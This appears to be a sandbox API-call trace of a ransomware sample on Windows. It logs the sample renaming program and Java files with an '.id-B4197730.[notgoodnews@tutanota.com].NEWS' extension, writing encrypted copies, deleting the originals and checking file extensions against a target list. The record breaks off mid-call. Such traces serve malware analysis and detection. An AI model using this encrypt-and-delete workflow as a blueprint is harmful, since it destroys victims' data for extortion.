1 [0193.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0193.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0193.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0193.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0193.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0193.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0193.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0193.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0193.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0193.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0194.027] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.028] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\utg2.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\utg2.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0194.029] GetLastError () returned 0x0 [0194.029] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0x13200, lpOverlapped=0x0) returned 1 [0194.048] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0x13210, lpOverlapped=0x0) returned 1 [0194.050] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.050] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0xe4, lpOverlapped=0x0) returned 1 [0194.051] SetEndOfFile (hFile=0x36c) returned 1 [0194.051] CloseHandle (hObject=0x36c) returned 1 [0194.051] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.051] SetEndOfFile (hFile=0x368) returned 1 [0194.052] CloseHandle (hObject=0x368) returned 1 [0194.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\utg2.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\utg2.exe" (normalized: "c:\\program files\\common files\\utg2.exe")) returned 1 [0194.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.053] lstrlenW (lpString=".doc") returned 4 [0194.053] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.053] lstrlenW (lpString=".docx") returned 5 [0194.053] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0194.053] lstrlenW (lpString=".pdf") returned 4 [0194.053] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.053] lstrlenW (lpString=".xls") returned 4 [0194.053] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.053] lstrlenW (lpString=".xlsx") returned 5 [0194.053] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0194.054] lstrlenW (lpString=".ppt") returned 4 [0194.054] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.054] lstrlenW (lpString=".zip") returned 4 [0194.054] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.054] lstrlenW (lpString=".rar") returned 4 [0194.054] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.054] lstrlenW (lpString=".bz2") returned 4 [0194.054] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.054] lstrlenW (lpString=".7z") returned 3 [0194.054] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.054] lstrlenW (lpString=".dbf") returned 4 [0194.054] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.054] lstrlenW (lpString=".1cd") returned 4 [0194.054] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.054] lstrlenW (lpString=".jpg") returned 4 [0194.054] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.054] lstrlenW (lpString=".doc") returned 4 [0194.054] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.054] lstrlenW (lpString=".docx") returned 5 [0194.054] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0194.054] lstrlenW (lpString=".pdf") returned 4 [0194.054] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.054] lstrlenW (lpString=".xls") returned 4 [0194.054] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.054] lstrlenW (lpString=".xlsx") returned 5 [0194.054] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0194.054] lstrlenW (lpString=".ppt") returned 4 [0194.054] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.055] lstrlenW (lpString=".zip") returned 4 [0194.055] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.055] lstrlenW (lpString=".rar") returned 4 [0194.055] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.055] lstrlenW (lpString=".bz2") returned 4 [0194.055] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.055] lstrlenW (lpString=".7z") returned 3 [0194.055] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.055] lstrlenW (lpString=".dbf") returned 4 [0194.055] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.055] lstrlenW (lpString=".1cd") returned 4 [0194.055] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\utg2.exe") returned 38 [0194.055] lstrlenW (lpString=".jpg") returned 4 [0194.055] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.055] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.055] lstrlenW (lpString="winscp.exe") returned 10 [0194.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\winscp.exe" (normalized: "c:\\program files\\common files\\winscp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0194.056] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=78336) returned 1 [0194.056] CloseHandle (hObject=0x368) returned 1 [0194.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\winscp.exe" (normalized: "c:\\program files\\common files\\winscp.exe")) returned 0x20 [0194.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\winscp.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\winscp.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\winscp.exe" (normalized: "c:\\program files\\common files\\winscp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0194.056] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.056] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\winscp.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\winscp.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0194.057] GetLastError () returned 0x0 [0194.057] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0x13200, lpOverlapped=0x0) returned 1 [0194.541] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0x13210, lpOverlapped=0x0) returned 1 [0194.544] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.544] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0194.544] SetEndOfFile (hFile=0x36c) returned 1 [0194.544] CloseHandle (hObject=0x36c) returned 1 [0194.544] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.544] SetEndOfFile (hFile=0x368) returned 1 [0194.546] CloseHandle (hObject=0x368) returned 1 [0194.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\winscp.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.546] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\winscp.exe" (normalized: "c:\\program files\\common files\\winscp.exe")) returned 1 [0194.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.547] lstrlenW (lpString=".doc") returned 4 [0194.547] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.547] lstrlenW (lpString=".docx") returned 5 [0194.547] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0194.547] lstrlenW (lpString=".pdf") returned 4 [0194.547] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.547] lstrlenW (lpString=".xls") returned 4 [0194.547] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.547] lstrlenW (lpString=".xlsx") returned 5 [0194.547] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0194.547] lstrlenW (lpString=".ppt") returned 4 [0194.547] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.547] lstrlenW (lpString=".zip") returned 4 [0194.547] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.547] lstrlenW (lpString=".rar") returned 4 [0194.547] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.547] lstrlenW (lpString=".bz2") returned 4 [0194.547] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.547] lstrlenW (lpString=".7z") returned 3 [0194.547] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.547] lstrlenW (lpString=".dbf") returned 4 [0194.547] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.547] lstrlenW (lpString=".1cd") returned 4 [0194.547] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.547] lstrlenW (lpString=".jpg") returned 4 [0194.548] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.548] lstrlenW (lpString=".doc") returned 4 [0194.548] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.548] lstrlenW (lpString=".docx") returned 5 [0194.548] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0194.548] lstrlenW (lpString=".pdf") returned 4 [0194.548] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.548] lstrlenW (lpString=".xls") returned 4 [0194.548] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.548] lstrlenW (lpString=".xlsx") returned 5 [0194.548] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0194.548] lstrlenW (lpString=".ppt") returned 4 [0194.548] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.548] lstrlenW (lpString=".zip") returned 4 [0194.548] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.548] lstrlenW (lpString=".rar") returned 4 [0194.548] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.548] lstrlenW (lpString=".bz2") returned 4 [0194.548] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.548] lstrlenW (lpString=".7z") returned 3 [0194.548] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.548] lstrlenW (lpString=".dbf") returned 4 [0194.548] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.549] lstrlenW (lpString=".1cd") returned 4 [0194.549] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\winscp.exe") returned 40 [0194.549] lstrlenW (lpString=".jpg") returned 4 [0194.549] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.549] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0194.549] lstrlenW (lpString="awt.dll") returned 7 [0194.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0194.550] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1516608) returned 1 [0194.550] CloseHandle (hObject=0x368) returned 1 [0194.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0194.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.550] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0194.551] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.551] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0194.552] GetLastError () returned 0x0 [0194.552] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0194.593] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0194.955] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0x72450, lpOverlapped=0x0) returned 1 [0194.970] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0x72460, lpOverlapped=0x0) returned 1 [0195.077] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.077] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0xe2, lpOverlapped=0x0) returned 1 [0195.078] SetEndOfFile (hFile=0x36c) returned 1 [0195.078] CloseHandle (hObject=0x36c) returned 1 [0195.078] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.078] SetEndOfFile (hFile=0x368) returned 1 [0195.082] CloseHandle (hObject=0x368) returned 1 [0195.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0195.083] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0195.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.083] lstrlenW (lpString=".doc") returned 4 [0195.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.083] lstrlenW (lpString=".docx") returned 5 [0195.083] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0195.083] lstrlenW (lpString=".pdf") returned 4 [0195.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString=".xls") returned 4 [0195.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString=".xlsx") returned 5 [0195.084] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0195.084] lstrlenW (lpString=".ppt") returned 4 [0195.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.084] lstrlenW 